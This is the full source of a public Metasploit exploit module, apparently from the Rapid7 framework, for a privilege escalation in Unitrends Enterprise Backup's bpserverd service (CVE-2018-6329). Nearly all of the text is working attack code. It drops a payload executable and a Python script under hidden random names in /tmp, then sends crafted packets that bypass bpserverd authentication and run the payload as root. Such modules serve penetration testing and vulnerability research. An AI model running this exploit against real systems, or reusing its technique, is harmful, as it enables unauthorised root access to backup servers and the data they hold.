1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, { 'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation', 'Description'=> %q{ It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed.A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system. This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the localhost by dropping a python script on the local file system.Unitrends stopped bpserverd from listening remotely on version 10. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Cale Smith', # @0xC413 'Benny Husted', # @BennyHusted 'Jared Arave', # @iotennui 'h00die' # msf adaptations ], 'DisclosureDate' => 'Mar 14 2018', 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'References' => [ ['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'], ['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'], ['EDB', '44297'], ['CVE', '2018-6329'] ], 'Targets'=> [ [ 'UEB <= 10.0', { } ] ], 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 }, 'SessionTypes' => ['shell', 'meterpreter'], 'DefaultTarget'=> 0 } )) register_advanced_options([ OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]), OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743]) ]) end def exploit pl = generate_payload_exe exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" print_status("Writing payload executable to '#{exe_path}'") write_file(exe_path, pl) #register_file_for_cleanup(exe_path) pe_script = %Q{ import socket import binascii import struct import time import sys RHOST = '127.0.0.1' XINETDPORT = #{datastore['BPSERVERDPORT']} cmd = "#{exe_path}" def recv_timeout(the_socket,timeout=2): the_socket.setblocking(0) total_data=[];data='';begin=time.time() while 1: #if you got some data, then break after wait sec if total_data and time.time()-begin>timeout: break #if you got no data at all, wait a little longer elif time.time()-begin>timeout*2: break try: data=the_socket.recv(8192) if data: total_data.append(data) begin=time.time() else: time.sleep(0.1) except: pass return ''.join(total_data) print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT)) try: s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect((RHOST,XINETDPORT)) except: print "[!] Failed to connect!" exit() data = s1.recv(4096) bpd_port = int(data[-8:-3]) try: pass s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2.connect((RHOST, bpd_port)) except: print "[!] Failed to connect!" s1.close() exit() print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT)) print "[+] '{0}'".format(cmd) cmd_len = chr(len(cmd) + 3) packet_len = chr(len(cmd) + 23) #https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72 packet = '\\xa5\\x52\\x00\\x2d' packet += '\\x00' * 3 packet += packet_len packet += '\\x00' * 3 packet += '\\x01' packet += '\\x00' * 3 packet += '\\x4c' packet += '\\x00' * 3 packet += cmd_len packet += cmd packet += '\\x00' * 3 s1.send(packet) data = recv_timeout(s2) print data s1.close() } pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}" print_status("Writing privesc script to '#{pes_path}'") write_file(pes_path, pe_script) #register_file_for_cleanup(pes_path) print_status("Fixing permissions") cmd_exec("chmod +x #{exe_path} #{pes_path}") vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'") end end |